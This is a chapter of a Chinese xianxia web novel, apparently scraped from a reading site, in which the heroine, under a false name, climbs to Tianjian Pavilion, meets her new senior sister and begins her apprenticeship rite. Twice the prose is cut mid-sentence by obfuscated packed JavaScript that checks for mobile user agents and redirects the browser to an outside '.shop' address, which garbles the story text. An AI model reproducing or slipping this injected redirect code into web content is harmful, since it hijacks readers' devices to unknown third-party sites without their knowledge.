一刻后,苍黎左手拿着乾坤袋,右手拿着灵镜,跟在叶温明背后出了铺子。倒找的钱叶温明没要,而是装进了她的乾坤袋,说是给她的零花钱。 苍黎瞳孔都在震颤—— 零花钱!穷得举世闻名的剑修给的零花钱啊!多么特殊的零花钱! 叶温明还在叮嘱她: “这灵镜是炼器阁炼制的,炼器阁专管灵镜的长老出手,灵镜的使用痕迹才能被清除。出于一些必要的原因,天剑阁长老会检查一些弟子的灵镜。用灵镜时能做什么,不能做什么,你自己心里有个数。” 苍黎:“……” 合欢宗也会定期检查,虽然本意是为了防止有人伤害宗门利益……只是,有些弟子虽然不是卧底,但其灵镜痕迹之露骨,作风之下流,普雷之多样,苍黎看了都忍不住替对方找根柱子撞死。 走着走着,他们就出了城,来到了山道前。 天剑阁的山道是修葺过的,铺了青石头做台阶。自山下至天剑阁阁门,共计一万零一阶,因此,这直入云间的石梯,又被世人称之为“万阶岩”。 苍黎问:“不飞上去吗?” “不飞。”叶温明背着手,抬步踏上石梯,边走边道,“每一个要拜入天剑阁的弟子,都要爬这万阶岩,你也得爬。” 苍黎:“……行。” 没过一个时辰,苍黎便爬得气喘吁吁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096384|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坐在石梯上休息。她侧头看叶温明,与她的狼狈不同,他这一路上闲庭信步,不见半分辛苦。 苍黎平复喘息,疲累地问: “您这天剑阁里,没有守山弟子吗?” 这一路爬上来,她连半个人也没见到。 “阁门那里有。” 叶温明话语一转, “不过不是用来守门的,只是防止有人来天剑阁求救时,找不到能将消息传递给话事者的人。” 苍黎不太能理解这个脑回路: “求救也得爬万阶岩?” “不,这种能传话的弟子,在景山城也有。只是求救者不一定都是凡人,经常会有忽略景山城,直接飞到阁门这里的。” 苍黎摇摇晃晃地站起身来,问: “不需要守山或者守门吗?万一有人来犯……” 叶温明问:“谁敢来?” 苍黎:“……” 行。 这就是上下修界战斗力巅峰的底气。 苍黎:“也许会有些失了理智的……” 叶温明说道:“阁里只是没人负责守山守门,不是没有活人,长老与那些内门弟子并非摆设。” 苍黎半做半歇地往上爬。 叶温明也不嫌弃,就耐心地陪着。 等见到了挂着“天剑阁”牌匾的阁门时,天都已经黑了。 苍黎远远地就看见,阁门前跪着一个身着白衣的人。 那人前方,一名身着相似服饰、腰间挂着天剑阁弟子玉简的女修,正在劝这人: “你跪在门口这事,长老早就跟尊上说了。可你瞧,都一个月了,尊上人还没回来,连讯息都不回应。” 这人道:“师尊迟早会回来。” “他是迟早会回来。” 女修抱起手臂,摇了摇头,道, “但你这个徒弟,他铁定是不要了。” “那也等他回来再说。” 苍黎离阁门渐渐近了,她虽未听清那一跪一战的两人在说什么,但她听出来跪着的那人是个男的,而且声音有点熟悉。 “叶永思。” 走在前面的叶温明开口了。 卧槽! 男修回头的同时,苍黎立刻抬起手,用袖子遮住脸。 叶永思是知道她长什么样的,虽说苍黎那时上了浓妆,与现在脸上毫无脂粉的恬淡气质大不相同,她也换了能遮住额头和眉毛的发髻……但是,万一叶永思和丹迭子一样擅长认人呢? 叶永思已经百岁,但还是少年模样。 他长得乖巧,眼尾微微下垂,难过时看起来就像一只可怜巴巴地小狗。 他唤道:“师尊。” 那女修也唤道:“尊上。” 叶温明侧身,将背后的苍黎暴露在两人面前,他对那女修道: “如雪,她叫穆离离,是你师妹,你先带她去寻芳阁休息。叫人将点星阁打扫出来,打扫好以后,就让她搬过去。” 苍黎已经意识到这女修的身份。 她有个很好听的名字,叫絮如雪。 絮如雪曾是个恣意快活的散修,她游走于山林之时,发现一处洞府。这洞府是叶温明的师弟叶子墨闭关过的地方,里面有些手记,絮如雪因为这些手记摸索到了剑道。后来她欲深耕剑道,寻上天剑阁,对着逝去已久的叶子墨的牌位拜了师。 她的根骨也是不错的。 可惜,她对剑道另有感悟,又不愿意修无情道,与问心剑无缘。 絮如雪讶异片刻,便友善道: “好,穆师妹,跟我来吧。” 跪在地上叶永思的脸色已经苍白,满眼都写满了不可置信。 叶温明道:“你跟我来。” 11. 拜师礼 阁门离寻芳阁很远,絮如雪是御剑带苍黎飞过去的。 絮如雪问:“你多大了?” 苍黎回答道:“十八岁。” 苍黎的假身份,穆离离就是十八岁。她实则有一百零八岁,比叶永思还年长些,但身体状态是停留在十八岁的,摸骨能摸出来—— 丹迭子还算谨慎,没有胡编乱造。 “真年轻啊。” 絮如雪用灵力探了苍黎的根骨, “水天灵根啊,真好,很适合当尊上的徒弟,比叶永思合适多了。我能叫你离离吗?” 苍黎表现得很是乖巧: “师姐想怎么叫,便怎么叫。” “说起来,你名字的离字,是哪个离?黎明的黎?还是梨子的梨?” 苍黎回答道:“离别的离。” 比起来“穆师妹”,被叫做“离离师妹”,苍黎或许更习惯些。 因为她的乳名就是离离。 许多人乍一知道此名时,便感慨为何取了这么个名字。生离死别,何其不幸。 太不吉利了。 絮如雪却不这样想,她道: “干嘛要说是‘离别’的‘离’?换个说法不行吗?‘离离原上草,一岁一枯荣。野火烧不尽,春风吹又生’,多么好的名字啊。” 苍黎闭上眼睛。 是啊,爹娘就是这么想的。 他们盼她的生命,如野草般顽强,年复一年,生息不尽。 “叶师兄跪了很久吧?” 苍黎睁开眼睛,又问起另一个她有些在意的问题, “尊上当真不宽恕他吗?” 一路走来,苍黎已经明白,叶温明是个善人。 他要是一心软,把叶永思留下了,那她在门派里岂不是要日日捂着自己的脸,日日心惊胆战,担心叶永思把她认出来? 她同意拜叶温明为师时就已经下定决心赌上命,但她的命不能没得这么容易啊! 絮如雪摇了摇头,道: “他以前喜欢过景山城的姑娘。他那时候年纪小,幼稚,不懂事,春心萌动正常。后来姑娘嫁人了,他也放弃了,修为大进。所以尊上也没计较。” “可他后来又喜欢上苍黎……他若是遇险被那苍黎救了,或者因为什么事,深受触动,那也还好。可他就是喜欢人家的脸。” “尊上还没逐他出师门,他就留下字条,自己跑了。” 絮如雪谈起叶永思,满是失望, “你觉得他适合无情道吗?能承袭问心剑吗?你要是尊上,你能宽恕他?” “……那确实不能。” “到寻芳阁了。” 絮如雪让飞剑降了下去,落在寻芳阁的院子里。 寻芳阁是絮如雪的住处,院子里乱糟糟的,有树苗、花苗,花池里有土坑,土被翻到地砖上,还有草木灰。 苍黎:“……?” 絮如雪不好意思地摸摸头,说道: “我要栽些花草,栽到一半就听说有弟子打起来了,我就去劝架……劝完架又去劝叶永思……把栽花这事儿忘了。” “师妹你放心,虽然院子乱些,但我这里的屋子都是很干净的。我有些朋友,时常会来天剑阁找我,会在我这儿住,所以每间屋子都日常打理。” 她拉着苍黎往东侧的屋子走。 正如絮如雪所说的那样,屋子虽然朴素,但打理得干净雅致,里面还有淡淡的沉香味。 絮如雪细致地询问: “千黛住这里时会燃香,所以有香味。你喜欢香吗?不喜欢就换一间住。” 苍黎道:“喜欢的。” 千黛…… 云海仙门掌门坐下排行第三的弟子,莫千黛吗? “喜欢就好。” 絮如雪拉开柜子,说, “千黛没把香炉和香粉带走,我给收在这里了,你想点的话就自己点,千黛不会介意的。她要是知道你喜欢,会直接送你。” 絮如雪合上柜子,又问: “师妹你辟谷了吗?肚子饿不饿?” 絮如雪对苍黎可谓是关怀备至。 苍黎也不矫情,道:“很饿。” “你先休息,我去给你弄些吃食。” 絮如雪说完就出门了,她御剑飞走,飞得极快,苍黎跟进院子时已经已经看不见她的踪影了。 苍黎先回了房里,坐在凳子上,一边歇息一边等絮如雪。 “轰——” 巨响传来,整间屋子都跟着震了震。 苍黎站起,出了屋子,一眼就瞅见西边连天的火光。 寻芳阁上方有弟子御剑飞过,道: “厨房炸了!快去灭火!” “谁炸的?” “还能有谁?温师叔祖呗!肯定是仗着她的火灵根,用灵火烧锅子做饭了!” 苍黎:“…………” 两刻钟后,絮如雪灰头土脸地回来,手里捧着个药盒,满脸歉意,道: “对不住,离离,你还是吃辟谷丹吧。” 苍黎接过药盒,道: “没事的,师姐,吃辟谷丹没什么不好的。” 要求不要太多。 能活就行。 苍黎吃了辟谷丹后,就在卧房里歇下了。 再醒来时天已经亮了,她走出卧房去,想找水洗脸。 院子已经被打扫干净,花花草草已经被栽进花池里。 絮如雪正拿着水瓢,从木桶里舀水,浇灌她连夜栽好的花草树木。 “离离,你起床啦?” 絮如雪面色和煦,笑着道, “等我浇完花,就带你去见尊上,很快的。” 但她手中水瓢里的水倾倒下去后,原本精神抖擞的小树苗便以肉眼可见的速度蔫了,仅有的三片叶子迅速枯败,凋零入土。 苍黎:“……?” 絮如雪脸上的笑容消失了。 苍黎问:“师姐,你浇的是什么?” “水啊……” 絮如雪面色灰败,看着脚边的水桶,声音颤抖, “就是……就是普通的井水啊……” 苍黎怔愣片刻,面色严肃地问: “是不是有人在里面下毒了?” 絮如雪单手捂住脸: “没毒的,我刚刚还喝过。” “没事的,没事的……” 絮如雪放下手,脸上扬起一个十足勉强又痛苦的僵硬笑容,说道, “多试几次就好了,下次我找最能活的花来种,一定能种活的。” 多试几次? 下次一定? ……这事好像不是花的问题。 苍黎不太敢用这水洗脸,水多半是没什么问题的。但她还是怕自己也和花一样,惨死于絮如雪之手,她道: “师姐,带我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096385|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见尊上吧。” “……好。” 絮如雪仍然在笑着, “呵……呵呵……” 叶温明正在天剑阁主阁里。 絮如雪带着苍黎进了主阁,道: “这里是外殿,若无长老允许,寻常弟子进到这里,就不可以再往里面走了。平时这里有很多弟子,今日都被尊上屏退了。” 她们从庞大的外殿走向里面,先进了一道院子,院子里种着些松柏之类的绿植,没有花。 再抵达屋檐下,苍黎闻见了香火味。 絮如雪推开门,道: “这里是祠堂,祠堂里供奉的,是天剑阁历代阁主与长老。” 絮如雪取了六支香,递给苍黎三支,道: “拜一拜。” 絮如雪借桌上的长明灯点燃了檀香,跪在坐垫上,对着桌上牌位躬身拜了三拜,起身后,将手中的香插进香炉中。 苍黎就学着她做。 不过她刚要拜,手中的三支香就断了。 苍黎:“……” ……不是?这? 天剑阁的列祖列宗显灵了? 絮如雪无比淡定地又拿了三支香,点燃后递给跪在坐垫上的苍黎,说道: “这香放得有些久了,断了正常,别当回事。” 拜完后,她们绕过供桌靠着的、挂着挂画的墙。 墙后是一片广阔大殿,广阔到阳光无法完全照亮,而且,它本就纱帘重重,所以看上去不怎么明亮。 “这是议事厅,有很重要的事情时,长老们会在这里开会。” 等出了议事厅,苍黎又见到一处庭院。 “主阁一共七出七进,不过从这里开始,就是尊上自己的地方了。” 絮如雪停下脚步,道, “我不能再往里走了,离离,你自己进去吧。” 苍黎谢过絮如雪,迈开脚步往里面走。 从这间院子开始,庭院里就有栽花了,不过大多颜色淡雅,也没什么香味。 穿过最后最后一进院落,苍黎才在正屋里见到叶温明。 一进正屋,就能见到隔着小桌摆放的两张椅子,叶温明坐在东侧那张上,手里握着一卷书,这书是讲锻剑的。 叶温明放下书卷,抬头看着走进来的苍黎,他抬手拿起小桌上的空茶盏,递向苍黎,道: “厨房在西边,灶台上的陶罐里有茶叶,去煮一杯茶给我。” 他并不是在使唤苍黎。 在正经门派,拜师是要行奉茶礼的。叶温明已经把这奉茶礼的章程简化了许多,算不得麻烦。 苍黎端着茶盏出了门,走进西边的厨房里。 厨房里有松针、干玉米棒、木柴、火折子,能很轻松地点火。苍黎从院子里的水井里打了水,倒进锅里,点火烧水。 她打开叶温明说的陶罐。 “……” 苍黎目瞪口呆。 水烧好后,苍黎面无表情地端着茶盏,走进正屋里,在叶温明面前跪下,将茶盏递给他。 叶温明接过茶盏,打开盖子,问: “怎么是白水?没找到陶罐?” 苍黎抬头和他对视,死气沉沉道: “找到了。” 苍黎跪坐在叶温明面前,紧拧着眉,左脸写着“你猜为什么是白水”,右脸写着“这师门不进也罢”。 叶温明:“……”